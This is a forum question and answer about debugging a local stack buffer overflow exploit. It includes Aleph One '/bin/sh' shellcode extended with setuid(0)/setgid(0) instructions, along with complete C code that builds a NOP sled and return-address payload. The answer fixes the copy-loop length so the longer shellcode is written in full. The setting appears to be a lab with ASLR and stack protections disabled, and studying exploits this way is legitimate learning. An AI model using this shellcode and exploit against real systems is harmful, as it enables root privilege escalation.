Why always get the message "Illegal Instruction (core dumped)"?

Question

I tried to exploiting buffer overflow. In the exploit code I use the Aleph-One shellcode.

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

Exploitation is normal, but I modified a little shellcode In order to execute setuid(0) and setgid(0), on exploit I have changed the owner of the exploit into root.

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0)
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" // setgid(0)
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

When in execution, I get the message Illegal Instruction (core dumped)

Note:

1. I have disabled ASLR
2. The vulnerable and exploit programs are compiled using flag -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

Complete exploit code :

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

char *prog = "./bof4";
char shellcode[] = 
   //"\xeb\x0appssssffff"
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv) {
    char buff[111];
    int i, j;
    int addr;

    if (argc > 1)
            sscanf(*(argv+1), "%x", &addr);
    else
            exit(0);
    for (i = 0; i < 35; i++) {
            *(buff+i) = 0x90;
    }
    for (j = 0; j < 45; j++, i++) {
            *(buff+i) = *(shellcode+j);
    }
    for (; i + 4 < 110; i += 4) {
            memcpy(buff+i, &addr, 4);
    }
    buff[108] = 0;
    fwrite(buff, strlen(buff), 1, stdout);
}

Can anyone explain ?

Answer 1

Just by guessing as you has the core dump and could check that for sure.

Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle?

Extend your second loop by 16 and check.

for (j = 0; j < 61; j++, i++) {
    *(buff+i) = *(shellcode+j);
}